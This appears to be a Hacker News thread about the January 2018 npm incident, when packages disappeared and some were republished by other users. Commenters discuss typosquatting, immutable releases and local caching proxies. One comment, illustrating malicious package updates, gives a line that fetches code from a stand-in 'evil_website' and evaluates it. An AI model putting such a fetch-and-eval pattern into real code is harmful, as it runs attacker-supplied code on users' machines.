18 ms·

Many packages suddenly disappeared

• deleted 9y ago
  [deleted]
• h1d 9y ago
  Is there a possibility that npm turn package names into "author/package" style, so there would be less confusion on what the users are installing and less chance of name squatting?
• whack 9y ago
  Could someone explain why dependency-management-systems don't enforce immutable releases? Ie, package owners can publish all the new versions they want, but they are never able to edit/remove/liberate an already-released version. It seems like that would solve so many problems, such as the left-pad fiasco.
• olingern 9y ago
  Late to the party, but can't wait for the technical write up on this. I think npm has been a headache for everyone at some point, which is one of the main reasons I started contributing to Yarn. I think npm has done a lot of good work in the past year to respond to the necessary change, so kudos to them for their work; however, it's nowhere near the rock-solid package manager that we need. If the Javascript ecosystem is to ever be taken seriously, and not as a toy -- it has to have more reliability. Ergonomically, I currently thing it's ahead of many other package managers because of how simple it is to get running. The number of "gotcha's" after npm install is nothing to shake a stick at, though. One of the things you can do to get builds that aren't as suspect to npm registry issues is configuring an offline mirror [1]. From the post: "Repeatable and reliable builds for large JavaScript projects are vital. If your builds depend on dependencies being downloaded from network, this build system is neither repeatable nor reliable. One of the main advantages of Yarn is that it can install node_modules from files located in file system. We call it “Offline Mirror” because it mirrors the files downloaded from registry during the first build and stores them locally for future builds." 1 - https://yarnpkg.com/blog/2016/11/24/offline-mirror/ https://yarnpkg.com/blog/2016/11/24/offline-mirror/
• peardeficient 9y ago
  And here we go again...
• valleydeveloper 9y ago
  This is why I'm obnoxiously cautions about adding external dependencies.
• johnsnow0 9y ago
  I thought this was about leftpad, but nope we're doing it again!
• fold_left 9y ago
  this issue is avoidable by using shrinkpack: HN: Shrinkpack – npm dependencies as tarballs, prevents “left-pad” style breakage - https://news.ycombinator.com/item?id=11353908 https://news.ycombinator.com/item?id=11353908
• carlchenet 9y ago
  I wrote "The Github Threat" about this possible issue https://carlchenet.com/the-github-threat/ https://carlchenet.com/the-github-threat/
• gargravarr 9y ago
  How to bring down half the internet - randomly delete your NPM packages, then stand back and watch millions of web developers scream in frustration. What an ecosystem we have built.
• uallo 9y ago
  Here is the official response from npm: http://blog.npmjs.org/post/169432444640/npm-operational-incident-6-jan-2018 http://blog.npmjs.org/post/169432444640/npm-operational-inci... TL;DR: "no malicious actors were involved in yesterday’s incident, and the security of npm users’ accounts and the integrity of these 106 packages were never jeopardized." A more detailed report will follow in the next days.
  • mohsen1 9y ago
    They are claiming issue is resolved while I'm still not seeing a package my package is depending on https://github.com/mohsen1/json-formatter-js/pull/58#issuecomment-355840929 https://github.com/mohsen1/json-formatter-js/pull/58#issueco...
    • uallo 9y ago
      I've never used pinkie before. But according to its GitHub page, there is no version 2.0.5: https://github.com/floatdrop/pinkie https://github.com/floatdrop/pinkie It seems that someone took over the package during its absence from npm and deployed a version 2.0.5. Maybe to avoid any malicious takeover. But there is no version 2.0.5 anymore.
• msoad 9y ago
  Why Node.js comes with a client for a for profit company is still baffling me. NPM team has proven time and time again they are not competent enough to handle this responsibility yet they are given the free ride by the Node.js foundation. Node.js package manager SHOULD BE COMMUNITY OWNED/DRIVEN
• pwaai 9y ago
  Is pip also vulnerable to this type of exploit? Or is this unique to npm?
• stephenr 9y ago
  I don't understand why npm even has the facility for a user to remove public packages. It defeats the entire purpose of using a public repository.
• aabbcc1241 9y ago
  I'd prefer to store dependency on permanent storage service like IPFS, so it can work even when npm or github are down.
• floatingatoll 9y ago
  NPM specifically asks people to not try and republish the broken packages while they repair it. Incident status: https://status.npmjs.org/incidents/41zfb8qpvrdj https://status.npmjs.org/incidents/41zfb8qpvrdj
• andrewaylett 9y ago
  While it may not be the right time to _start_, incidents like this are an excellent reason to consider an internal read-through proxy package repository. The last couple of organisations I've worked with have used Artifactory: https://jfrog.com/artifactory/ https://jfrog.com/artifactory/
• deleted 9y ago
  [deleted]
• izacus 9y ago
  Hmm, I Java world we pretty much always used a local (company-owned) Maven proxy server, which grabbed packages from public repos and cached them locally to make sure builds still work if public servers were down or slow... or packages disappeared. This isn't a standard practice in JS world?
  • bpicolo 9y ago
    It is at big orgs, but not small shops.
    • usernam33 9y ago
      We do it even at home. Not full dep-server but local backup.
  • tomjakubowski 9y ago
    I’ve worked at places where the Java devs used Maven Central directly. I’ve also worked at a place where the Node devs use an on-premises copy of dependencies for builds and deploys. It might not be as standard a practice in the Java world as you think.
    • brown9-2 9y ago
      Where did those Java devs who pulled from Maven central directly publish their artifacts?
      • stephengillie 9y ago
        Possibly Sonarqube Nexus. The Java devs at my workplace use Sonarqube along with Jenkins and Maven on the same server. I believe they communicate through the shared directory on the file system. (Pet peeve: another product named "Nexus". Please choose original names for your software.)
        • trampi 9y ago
• xxkylexx 9y ago
  https://status.npmjs.org/incidents/41zfb8qpvrdj https://status.npmjs.org/incidents/41zfb8qpvrdj
• deleted 9y ago
  [deleted]
• racbart 9y ago
  PSA: Please be cautious because this is an excellent opportunity for taking over packages and injecting malware by malicious people. Example: https://www.npmjs.com/package/duplexer3 https://www.npmjs.com/package/duplexer3 which has 4M monthly downloads just reappeared, published by a fresh npm user. They published another two versions since then, so it's possible they've initially republished unchanged package, but now are messing with the code. Previously the package belonged to someone else: https://webcache.googleusercontent.com/search?q=cache:oDbrgPbT5m0J:https://www.npmjs.com/package/duplexer3 https://webcache.googleusercontent.com/search?q=cache:oDbrgP... I'm not saying it's a malicious attempt, but it might be and it very much looks like. Be cautious as you might don't notice if some packages your code is dependent on were republished with a malicious code. It might take some time for NPM to sort this out and restore original packages.
  • weinzierl 9y ago
    Detailed description what you could do with a malicious npm package is currently on he front page: "Harvesting credit card numbers and passwords from websites" https://news.ycombinator.com/item?id=16084575 https://news.ycombinator.com/item?id=16084575
    • marpstar 9y ago
      am I the only one who thinks this could be more than a coincidence?
      • amself 9y ago
        I find it hard to believe, but never say never, of course.
      • ohiovr 9y ago
        I didn't think of it. But it is a coincidence, Good one.
      • bubble_boi 9y ago
        Hey, I wrote that article :) - yes it was pure coincidence, I just decided with all the security stuff going on this week (Spectre/Meltdown, I hadn't heard about the npm stuff) I'd write and article about it.
• the_duke 9y ago
  Several packages just disapperead, now some are re-appearing, potentially uploaded by differnt users (!). See https://github.com/npm/registry/issues/255 https://github.com/npm/registry/issues/255 for details. Very annoying, breaks builds all over, also prevents installing react-native.
• chrisweekly 9y ago
  > " Several packages including "require-from-string" are currently unavailable. We are aware of the issue and are working to restore the affected user and packages. Please do not attempt to republish packages, as this will hinder our progress in restoring them. Posted 4 minutes ago. Jan 06, 2018 - 19:45 UTC " https://status.npmjs.org/incidents/41zfb8qpvrdj https://status.npmjs.org/incidents/41zfb8qpvrdj
• 7ewis 9y ago
  Glad we cache ours on ProGet now!
  • sheraz 9y ago
    Not a ProGet user here, but this definitely seems like a good idea. What are the open-source / self-hosting options here? It gets a little messy with all the sub-dependencies, doesn't it?
    • madebyherzblut 9y ago
      If you only need NPM support we are very happy with npm-register[1]. I also heard good things about verdaccio[2]. Plus you also get private packages. [1] https://github.com/jdxcode/npm-register https://github.com/jdxcode/npm-register [2] https://github.com/verdaccio/verdaccio https://github.com/verdaccio/verdaccio
• meritt 9y ago
  The sheer number of software development organizations who cannot function when github or their package repository happens to be unavailable (for whatever reason) is incredibly disheartening.
• sergiotapia 9y ago
  Yikes, what is it about node/npm/javascript that makes it feel like a house of cards?
  • k__ 9y ago
    Almost all problems I have with JS projects have to do with npm. It got better with lockfiles, but it seems they're inventing new problems...
  • mamcx 9y ago
    I wonder how much damage need to be done with JS/Node until seriously is put to rest the madness. Is absolutely necessary to break backward compatibility and rebuild JS from the start. With WebAssembly this is doable (without excuses!) and we already have a nice tag to declare what script language to use. This is not possible, you ask? In fact, JS/CSS is the most viable of all the stacks to move forward. Let's use the "advantage" that any JS library/ecosystem die fast and put enough hipster propaganda declaring the ultimate solution. Is too hard? JS is so bad that fix it is too easy. You only need more than the week it originally take to build it.
  • joezydeco 9y ago
    How about the idea that Node has been a hack from day one?
    • fiatjaf 9y ago
      What hasn't?
      • jcsnv 9y ago
        Good point
      • nine_k 9y ago
        Quite a few. E.g. ssh definitely was not, Rust was not, TeX was not. But these were mostly second-thought projects of the "let's now finally do everything right" kind.
• methyl 9y ago
  Is Yarn with its cache affected?
  • theo31 9y ago
    yes it is
• mirekrusin 9y ago
  2018 looks interesting, everything seems suddenly broken.
  • hrpnk 9y ago
    broken concepts get re-validated :)
• shawn 9y ago
  So, funny story: I registered the "nazi" npm package. When you require it, it says "I did nazi that coming." That's it. (Though it would've been a funny name for a linter.) ... Or it did. I received a harshly worded letter from npm saying they axed it. It hit all the talking points about inclusiveness and making sure no one feels even slightly annoyed. Meh. No point to this story. Just an interesting situation with an inconsistently curated package manager. I was surprised there was an unofficial undocumented banlist.
  • tzs 9y ago
    Try a package named Nazí, which provides a collection of the chess games of 2016 US Women's Chess Champion Nazí Paikidze [1]. At the same time also do one named Fabiano, which provides a collection of the games of Fabiano Caruana [2], the 2016 US Chess Champion. If they take that down the Nazí one but not the Fabiano one, you can then take your mischief making to the next level by accusing them of being misogynists for banning a package promoting a woman chess champion but leaving up the one for the man. [1] http://www.chessgames.com/player/nazi_paikidze.html http://www.chessgames.com/player/nazi_paikidze.html [2] http://www.chessgames.com/player/fabiano_caruana.html http://www.chessgames.com/player/fabiano_caruana.html
    • caryhartline 9y ago
      This isn't the Supreme Court. They don't need to be consistent and they are going to see past the pointless trolling.
  • gsich 9y ago
    You triggered the special snowflakes. JS community is full of them.
  • shrimp_emoji 9y ago
    Does "stalinist" work?
    • dhzjxnbzn 9y ago
      "I did stalinist see that coming" doesn't have the same ring to it.
• vitaliyf 9y ago
  Don't. Deploy. From. Internet.
  • StavrosK 9y ago
    What's the alternative? Have the maintainer snail-mail you the packages?
    • vitaliyf 9y ago
      You run a private NPM mirror where you copy dependencies that you rely on, after auditing them (for code quality and licensing).
      • chris_7 9y ago
        I don't know JS, but this sounds like a lot more work than just checking everything into your repo?
      • fareesh 9y ago
        Realistically if someone were to sneak something in, what kind of audit would you need to be able to catch it?
      • weinzierl 9y ago
        This, or if you have the money there are companies that do that for you.
      • StavrosK 9y ago
        Wouldn't just pinning the hash of a package be a better solution?
        • tomjakubowski 9y ago
          That’s probably fine from the security perspective, but the hash won’t make the package re-appear if it disappears out of nowhere. That’s the other benefit of a private/on-premesis mirror.
• antonkm 9y ago
  Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Relying on npm, Atlassian/GitHub etc really hurts when stuff like this happens. Issues always gets resolved, but cases such as the GitLab incident should be enough to always keep some local copies around.
  • stephengillie 9y ago
    This is why I develop on Sourcetree for Github/Travis/Heroku inside a Dropbox folder. It gives another layer of flexibility and redundancy. If Dropbox fails, all I lose is filesystem sync - and one type of restoration - for a short while. (Bluntly, Github and Dropbox provide very similar services for synchronizing code between computers.) Having a redundant array of independent cloud providers seems the ideal state. This is the most effective way to provide a single source of truth without it becoming a single point of failure.
  • mschuster91 9y ago
    > Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Install an instance of Sonatype Nexus, create a proxy-repo for npm (and Maven if you also use Java) and that's it. What, however, won't be caught is Docker (because that crap insists on directly talking to the Dockerhub servers, which is a giant security hole waiting to happen) and PHP composer (because it likes to pull dependencies via git from GH, so no caching there).
    • panarky 9y ago
      Or just don't .gitignore node_modules, then diff any changes to node_modules on update.
      • mschuster91 9y ago
        Does not work as soon as you use node modules that come with native components that have to be recompiled for the machine, and there are many of these. Colleagues have been bitten by this - one used OS X 10.11, the other 10.12, and they experienced weird bugs from this. Went away once they kicked out node_modules from git.
• chrisper 9y ago
  Could someone please add NPM to the title?
  • xxkylexx 9y ago
    I had "NPM Registry:" in the title originally, but someone edited it.
• chrisper 9y ago
  Didn't something similar happen last year? I think it was packages with similar names.
  • clowd 9y ago
    Yeah, there have been multiple typo-squatting incidents. http://blog.npmjs.org/post/163723642530/crossenv-malware-on-the-npm-registry http://blog.npmjs.org/post/163723642530/crossenv-malware-on-...
• krzyk 9y ago
  So they didn't learn anything from left-pad situation from 1.5 year ago? Packages that are published should be immutable, just like in maven repo case.
  • tbrock 9y ago
    That’s fine but it doesn’t prevent newer packages from being published by new owners as is happening here.
  • briandear 9y ago
    Isn't that how RubyGems works?
  • dmitriid 9y ago
    They sweared this would never happen again. Then it happened again not two months after left-pad. And now it happened again.
  • christophilus 9y ago
    They don't allow removal of packages. This is likely a cascading storage failure or something along those lines (or else a major hack).
  • lotyrin 9y ago
    I don't really understand any public package repository that fails to have immutable package versions and publisher-namespaced package names.
  • schmookeeg 9y ago
    I'm looking forward to envying the blokes who release blockchain-repo and make a gozillion bucks for solving this problem. :)
• xxkylexx 9y ago
  > Update - Most of the deleted packages have been restored and installation of those packages should succeed. Nine packages are still in the process of restoration. > Jan 6, 20:12 UTC https://status.npmjs.org/incidents/41zfb8qpvrdj https://status.npmjs.org/incidents/41zfb8qpvrdj
  • djsumdog 9y ago
    From the Github issue: > Beginning at 18:36 GMT today, 106 packages were made unavailable from the registry. 97 of them were restored immediately. Unfortunately, people published over 9 of them, causing delays in the restoration of those 9. We are continuing to clean up the overpublications. All installations that depend on the 106 packages should now be working. Hard to believe less than a hundred packages cause so many issues. NPM's dependency hierarchy is pretty insane.
    • zbentley 9y ago
      > Hard to believe less than a hundred packages cause so many issues. NPM's dependency hierarchy is pretty insane. Ever heard of glibc?
  • IncRnd 9y ago
    What was the root cause?
• JepZ 9y ago
  Wow, they comment faster there than one can read :D
• nukeop 9y ago
  NPM is extremely vulnerable to typosquatting. Be cautious with what you install. The install scripts can execute arbitrary code. NPM's team response is that they hope that malicious actor won't exploit this behaviour. According to my tests, typosquatting 3 popular packages allows to take over around 200 computers in 2 weeks time it takes their moderators to notice it.
  • swang 9y ago
    this is not a response? http://blog.npmjs.org/post/168978377570/new-package-moniker-rules http://blog.npmjs.org/post/168978377570/new-package-moniker-...
    • hateduser2 9y ago
      Why assume they’ve already seen it? They probably just haven’t
    • nukeop 9y ago
      That's okay, but it's not enough - it's easy to swap two letters and do similar substitutions to fool many users. If a package is downloaded 10,000 times every day, surely once in a while someone will misspell the name somehow. Other than that, their reaction to similar incidents was to wait for somebdoy on twitter to notify them, ban the responsible users, and hope that it won't happen again. It's still extremely exploitable and there are surely many other novel ways of installing malware using the repository that we haven't even heard of yet. The NPM security team is slow to act and sadly doesn't think ahead. They're responsible for one of the largest software ecosystems in the world, they should step up their game.
      • eropple 9y ago
        Yup. The best answer I can come up with given their constraints (some self-imposed) is to force all new packages to be scoped.
        • johnny22 9y ago
• yladiz 9y ago
  I don't remember the intricacies of NPM or Yarn, but don't one/both of them have resource integrity enabled, so that you know that the package that's being installed is the one in your lock file? If not, why isn't this a feature especially after the clusterfuck of the guy deleting all his packages back about two years ago, breaking tons of things including Babel and React? This wouldn't fix the issue of someone deleting the actual package (this happened here?), but it would prevent some malicious code being installed if someone uses the same package name.
  • applecrazy 9y ago
    Can you link me to the incident where a person deleted their packages and broke Babel? I'd love to read about it. Edit: grammar
    • tc7 9y ago
      https://www.theverge.com/2016/3/24/11300840/how-an-irate-developer-briefly-broke-javascript https://www.theverge.com/2016/3/24/11300840/how-an-irate-dev...
      • applecrazy 9y ago
        Thanks.
    • mort96 9y ago
      https://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/ https://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/ left-pad was a package to, you guessed it, pad a string with n leading characters. Personally, I've always just written my own 2 line function for it (something like `function pad(s, n, ch) { return new Array(n - s.length).fill(ch).join("") + s; }`), but a bunch of packages either directly or indirectly depended on this left-pad package, so they all broke.
      • applecrazy 9y ago
        Packages broke because of a literal two line function? That's hilarious and terrifying at the same time.
• tw1010 9y ago
  I don't understand much about the blockchain, but one thing I have heard is that it's impossible (or very hard) to remove things from it. It is immutable, sort of append only, if I understand it correctly. So my question is, is there anyone working on moving npm to the blockchain? Or doing something like a package manager on the blockchain? If not, why not?
  • tlarkworthy 9y ago
    I don't want to have to download 135 gigabytes to require left-pad.
    • vvillena 9y ago
      Good thing you wouldn't ever need to do such a thing.
  • geofft 9y ago
    You don't need a full blockchain for this: the relevant property is (somewhat tautologically) that it's an append-only data structure. By convention, everyone processing the blockchain looks to make sure that the new blockchain they get is a descendant of the previous blockchain they already have. There are lots of other structures that work like this. Git is one - when git fetches a branch, git will check whether the remote branch includes all the commits it saw last time it fetched, or some are missing. (By default this is non-fatal but tends to produce warnings/errors when you try to actually use the replaced branch, but you can easily make this fatal.) Another good one is the style of Merkle trees used in Certificate Transparency: there's no proof-of-work, so the trees are small, but they still include a cryptographic hash of each previous tree so you can detect if something has gone missing. The other relevant property of the blockchain is that it's not a reference to data elsewhere, it (like git) actually contains all the data that's ever been on the blockchain, and you need that data to verify the blockchain properly. This may or may not be what you want for a programming language package manager; it means that in order to set up a new development environment, you have to download every version npm package that ever existed. It does accomplish the goal of preventing things from being removed, but it's pretty heavy-weight.
• throwaway66666 9y ago
  I never understood the love for package managers that directly hook and import things into your codebase or repo or even worse servers. I guess the benefit is that "it just works", but the fact that you do not know where a package is coming from can't be worrying just me. In my company we take the stable version of the library we want to use and we self-host it. We basically have added a cache that we manage and control what goes into it instead of just trusting a manager. Especially for server-side deployment this is mandatory for security. Things like let's say ffmpeg etc - we never get from random packages but we host them ourselves.
  • grzm 9y ago
    > "I never understood the love for package managers that directly hook and import things into your codebase or repo or even worse servers. I guess the benefit is that "it just works", but the fact that you do not know where a package is coming from can't be worrying just me." I share your concern. It's a tradeoff: tools that do this are very convenient, and the people who have thought about it have decided in some cases that convenience outweighs the security or stability aspects. And people can make that determination on a case-by-case basis.
  • greenyoda 9y ago
    Just today, someone posted an article about how malware can be distributed via npm: "Harvesting credit card numbers and passwords from websites" https://news.ycombinator.com/item?id=16084575 https://news.ycombinator.com/item?id=16084575 If you self-host a stable version, you'll have some time to hear about potential problems in a new version before updating it.
  • dmitriid 9y ago
    Setting an internal mirror for a registry is often a hassle quite a few companies cannot afford, as it adds more operational burden/costs.
  • zbentley 9y ago
    This can be a good strategy, it just trades one set of problems for another. Bleeding-edge packages from possibly compromised hosts, or self-hosted old versions with potential bugs, security issues, and hard-to-find documentation. Pick your poison, unless you're Red Hat and can spend the time to backport security/bug fixes and maintain a knowledge base for your old versions.
• z3t4 9y ago
  And ppl think i'm crazy for keeping packages in SCM repo. NPM get so much abuse, people depending on them without paying a dime. At least put up a caching proxy hosted by your own if you depend so much on npm for your operations.
  • sashaafm 9y ago
    I've been thinking that it's a good idea to do that lately...
• JepZ 9y ago
  Btw. for those who don't know: Yarn (which is an alternative to npm) uses a global cache [1] on your machine which speeds things up, but probably also protects you from immediate problems in cases like the one currently on progress (because you would probably have a local copy of e.g. require-from-string available). [1] https://yarnpkg.com/lang/en/docs/cli/cache/ https://yarnpkg.com/lang/en/docs/cli/cache/
  • ris 9y ago
    Already counting down the days before yarn is considered old and broken and people are recommending switching to the next hot package manager/bundler...
    • k__ 9y ago
      Already counting down th days before yarn is considerd the new defacto standard package manager...
    • hateduser2 9y ago
      It badfles me that technologists commonly complain about new technology. As far as I can tell your complaint boils down to “people should stop making and switching to new things”.. I find it hard to understand why someone with this attitude would be a technologist of any kind, and I find the attitude really obnoxious.
      • jeanmichelx 9y ago
        JS ecosystem is pretty well know for changing very fast compared to other mainstream languages. This is a fair point, NPM could implement the local cache without (hopefully) breaking anything
        • rmrfrmrf 9y ago
          From my understanding they’ve always had one, but until npm@5 it wasn’t safe for concurrent access (side note: Maven still isn’t) and was prone to corruption. I think they’re making their way toward true offline cacheing a-la yarn, if they haven’t done so already.
• deleted 9y ago
  [deleted]
• ris 9y ago
  And this is why I avoid "package managers" that follow the wild-west model like the plague.
  • deleted 9y ago
    [deleted]
  • zbentley 9y ago
    What's the wild-west model? Write it all yourself? "cp -r $dependency_location $install_location"? Genuinely curious.
    • ris 9y ago
      The "wild west" model is where there is no maintainer or distributor between the developer and consumer that is allowed to perform any sort of quality control or sanitisation. That sounds good from a naive standpoint - who needs this busybody middleman anyway? But the problem is that authors tend not to be great maintainers. Authors can (and do) remove packages at any time, make changes to packages without bumping version numbers, upload subtly broken versions or possibly make user-hostile changes which the community can then do nothing about short of creating a fork (which is messy switching over dependencies to a different package name). And that's not even to go into typo-squatting. In short, package authors don't tend to care about much more than getting their package to work, somehow, anyhow. Often only the latest version of that package, too. And they don't always have an eye on interoperability with other packages, or consistency across a collection. Maintainers who create a "distribution" of software that works well together can collaboratively make decisions that are in the community's best interest. The "wild west" model is unilateral, the "maintained" model is multi-lateral.
      • krapp 9y ago
        >The "wild west" model is where there is no maintainer or distributor between the developer and consumer that is allowed to perform any sort of quality control or sanitisation. That's not entirely true. Maintainers or distributors aren't required under the "wild-west" model, but that's not the same as anything being disallowed. It's up to the community and the developer to do their own due diligence. The "wild west" model is just the free software model, it's just the lack of some central authority limiting user freedom for the good of the community. Rather, it's the "distribution" model which forbids anything not approved by the list of official maintainers. All of the problems you list with package authors still exist, but you have fewer options as a developer should they arise.
• jogjayr 9y ago
  In my org, we use Artifactory as a cache between us and external sources. They have a free version too. I'd encourage everyone to use it, or something like it. Stop pointing your package managers to the public registry.
  • matharmin 9y ago
    What gives you more confidence in them? Just a better track record, or is it a fundamentally more reliable model?
    • bastijn 9y ago
      It is fundamentally more secure as it functions as a private controlled proxy for the public repo. Also solves some other nice gotchas such as people pulling a left-pad joke on you and reproducible installs as all packages are cached so your build servers and dev systems get the same version of all packages (if properly used with shrinkwrap kind of solutions, or even without if properly handled).
    • jogjayr 9y ago
      We self-host Artifactory. If our internal instance goes down, it's always possible to fall back to the public registry of language (NPM, Maven, pip etc). It's far more unlikely for our Artifactory and the public registry to go down simultaneously.
  • bastijn 9y ago
    Minutes before reading this comment I sent an email to our team to verify our artifactory did not download any packages over the weekend. Most likely not as nobody is working (to add a new one or update a version) but better safe than sorry. +1 for artifactory cache.
  • Silhouette 9y ago
    Stop pointing your package managers to the public registry. Unfortunately with NPM this is still awkward, because as soon as you try to shrinkwrap your project, it doesn't just pin the version numbers, it also pins the full source location. That's in direct conflict with (and apparently takes precedence over) using one of the local caching proxies that would otherwise be a useful practical solution to this problem, and the situation gets even more complicated if you have people building at multiple locations and want each to have their own proxy. Yarn seems to have a better approach to this. It has a few problems of its own, notably surprising, quiet updates to the lock file when using the default options (IMHO a mistake since the big selling point of Yarn is its deterministic, reproducible behaviour) but at least you can do something resembling a local cache combined with something resembling version pinning, which is the ante for any sane build system.
• fiatjaf 9y ago
  Well, the packages seem to be all from floatdrop[0]. [0]: https://www.npmjs.com/~floatdrop https://www.npmjs.com/~floatdrop
• andrethegiant 9y ago
  Can't help but wonder if committing node_modules to your repo is now a good idea...
  • TeMPOraL 9y ago
    Only if you have a file system that automatically deduplicates everything, or lots of hard drives...
    • alphaalpha101 9y ago
      Use btrfs.
• fiatjaf 9y ago
  How are these going, by the way? - https://github.com/elsehow/gx-js https://github.com/elsehow/gx-js - https://github.com/ipmjs/ipmjs https://github.com/ipmjs/ipmjs - http://everythingstays.com/ http://everythingstays.com/ - https://github.com/pnpm/pnpm https://github.com/pnpm/pnpm - https://github.com/nginnever/ippm https://github.com/nginnever/ippm
• hrpnk 9y ago
  Would be interesting to see the load curves on github and npm servers due to people and servers retrying downloads.
• deleted 9y ago
  [deleted]
• taurath 9y ago
  This is insane. This is like Google changing their v1 APIs, except worse since ANYONE could come in and put new malicious APIs up in its place. I say this as a firm supporter of Node and the ecosystem - this should NEVER EVER be allowed to occur. This completely erodes the trust model based around "popular packages" even further - the only saving grace is that hopefully most devs are shrinkwrapping their modules.
• jlgaddis 9y ago
  Did NPM not learn from the leftpad incident?
• failrate 9y ago
  Remember to freeze your packages after installing them as a project dependency. You should have the packages in your source tree or your own internal package manager (local nuget, for example).
• ben_jones 9y ago
  module.exports = typeof Promise === 'function' ? Promise : require('pinkie'); I can't even install webpack-dev-server. Because this package is missing. EDIT: it's back [1]: https://stackoverflow.com/questions/48131550/nodemon-install-error-no-valid-versions-available-for-timed-out https://stackoverflow.com/questions/48131550/nodemon-install... [2]: https://github.com/npm/registry/issues/255 https://github.com/npm/registry/issues/255
  • 0x0 9y ago
    But it's published by "puradox", not by "floatdrop"!
    • clon 9y ago
      This is utter madness...
• _Marak_ 9y ago
  We really need to hear from NPM why this happened. There is currently no way for a user to remove their own packages or unpublish packages anymore from the public NPM API ( a change following the `left-pad` incident ). This leads me to believe this was an internal NPM error. My guess is employee error.
  • 8n4vidtmkvmk 9y ago
    Whaaa...? I swear I used `npm unpublish` several times in the past year. Yeah, it definitely exists: https://docs.npmjs.com/cli/unpublish https://docs.npmjs.com/cli/unpublish
    • _Marak_ 9y ago
      Only for a version less than 24 hours old. You can no longer remove established packages. A quote from the documentation page you linked: > With the default registry (registry.npmjs.org), unpublish is only allowed with versions published in the last 24 hours. If you are trying to unpublish a version published longer ago than that, contact support@npmjs.com.
      • IncRnd 9y ago
        > Only for a version less than 24 hours old. You can no longer remove established packages. Apparently, someone can remove established packages.
• xab9 9y ago
  With npm 4 things went south and never came home to us. We use macs, pcs, linux machines and nowdays we fear `npm i` like the plague. I don't care if it's the registry, the executable, the stupid packagelock.json, node-npm version mismatch or an installer script, the endresult is frustration.
• batina 9y ago
  There are over 700 comments on this issue on GitHub. It is turning into live chat room. https://github.com/npm/registry/issues/255 https://github.com/npm/registry/issues/255 Be part of the history :) EDIT: there are now over 1100 comments/memes.
  • jteppinette 9y ago
    the comments are literally making my Saturday
  • iser 9y ago
    aww i missed out
  • cesarb 9y ago
    The final count was 1263 comments, and no more will be added now that it's closed and locked.
• sebazzz 9y ago
  Can anyone explain why the npm registry still exists if it cannot guarantee that uploaded packages remain available? The current state makes it pretty useless as a reliable source te base software on because you never know if you're able to build it again in the future. They should take a good hard look at NuGet, which does not allow packages to be deleted so builds are guaranteed to be reliable. Still doesn't hurt to locally cache packages with software such as Klondike.
  • ilaksh 9y ago
    They don't allow packages to be deleted. A bug or server issue or mistake caused this. This type of problem has occurred only once before. In general npm has been extremely reliable and performant.
    • paulddraper 9y ago
      When was the only other time this problem happened?
• atom-morgan 9y ago
  So that's why my "npm install" on Heroku randomly started failing.
• rootlocus 9y ago
  > I was here. > We made history! Fastest issue to reach 1000 comments, in just 2 hours. > cheers everyone, nice chatting with you. 17 away from hitting 1000 btw! > Is GitHub going to die with the volume of comments? Kind of disappointed the NPM community is turning github into reddit right now.
  • TeMPOraL 9y ago
    There's probably a large overlap between the two communities.
    • xauronx 9y ago
      Considering almost every human I know uses Reddit in some capacity (technical and non-technical), that's pretty likely.
      • adjkant 9y ago
        You're in a really self-selecting crowd then. Less than half the people I know use it, mostly because my social group is outside of the tech world.
        • TimothyBJacobs 9y ago
          Reddit is in the top 10 most popular websites according to Alexa. I'd venture to say most reddit users aren't people in the tech world.
          • k__ 9y ago
            I know exactly one person who uses it. To me it always seemed like 4chan-light.
          • adjkant 9y ago
            Perhaps not all tech, but my point is that it's very unused by many. People in tech are far more common users.
• lamby 9y ago
  The latest Manifest.fm podcast episode is about typosquatting: https://manifest.fm/9 https://manifest.fm/9
• bb88 9y ago
  So this is an NPM.js issue, I thought this was a broader issue on github according to the headline.
• paultopia 9y ago
  Stupid question from non-pro here: everyone's always like "never commit libraries into source control." But, um, this kinda thing?
  • newfoundglory 9y ago
    This kinda thing is dealt with by artifact storing and caching, not source control.
  • iDemonix 9y ago
    I think there's a difference between committing to source control and having local copies. For example, we use Red Hat Satellite at work which you give a list of upstream repos and filters, and it download copies locally (to what it calls a 'capsule'). Then to get those packages to your machines you have to publish through the lifecycle process (Test > Staging > Live A > Live B - or whatever you choose). There's multiple ways to solve to mitigate the risk, but committing libraries in to source control can cause way more headaches than it prevents IMO.
  • kstenerud 9y ago
    Don't store libraries in your project's repository. It bloats things like hell and makes it difficult to navigate the change sets. Set up your own library cache. Store that cache in its own repo if that floats your boat. Then all of your projects can get their dependencies from your cache.
    • delfinom 9y ago
      Well, if you are in other languages that have an actual standard library (so you don't need 500 packages to make up for it) and only a few dependent libraries that are well package and you don't need to update frequently. Just commit them, don't make things a mess.
  • zbentley 9y ago
    This is a rehash of my comment elsewhere here, responding to a similar point: There are advantages to checking in all your deps, but many drawbacks as well (especially for an interpreted language; something like Go avoids a few of these): - Incredibly slow SCM operations unless you use the perfect options every time (good luck, new devs). I've experienced this with Perforce and Git, and hoo boy does a "get three cups of coffee while you wait"-time diff/commit operation throw a hitch in your plans. - You need either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read when you update stuff. - Actually understanding the diffs you read when packages get updated. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates. - Hassles with regards to compiled dependencies. You have to filter them out of source control (can be a hassle to find all the places they live), or remember to rebuild when changing OS versions/stdlib versions/runtime versions/architectures/etc. That can get pretty annoying, especially since in my experience each "runtime loaded" compiled dependency gives you many completely different, utterly unintelligible errors when it's used in an environment where it should be rebuilt.
• jimjimjim 9y ago
  I said this back in the left pad days Store all of your dependencies locally. If something disappears then at least you can continue until you find a replacement.
  • amiga-workbench 9y ago
    We do this with all of our PHP dependencies at work, they get committed into the project. The upside is that the deployment process is simpler, the server doesn't have to fetch all the libraries you depend on within each deploy and it mitigates all of the risk of left-pad style bullshit.
  • tootie 9y ago
    What do folks use these days? Artefactory? Nexus?
    • richardknop 9y ago
      You can store dependencies in version control so you can continue working when there is problem with remote package manager repositories as you just checkout last working version with all dependencies from git.
• Bitcoin_McPonzi 9y ago
  People get the leaders they deserve. This holds true for nodejs users, too.
• sublimino 9y ago
  Apparently the restore is now complete: https://github.com/npm/registry/issues/255#issuecomment-355780429 https://github.com/npm/registry/issues/255#issuecomment-3557...
• pmilot 9y ago
  F by xv v
• partycoder 9y ago
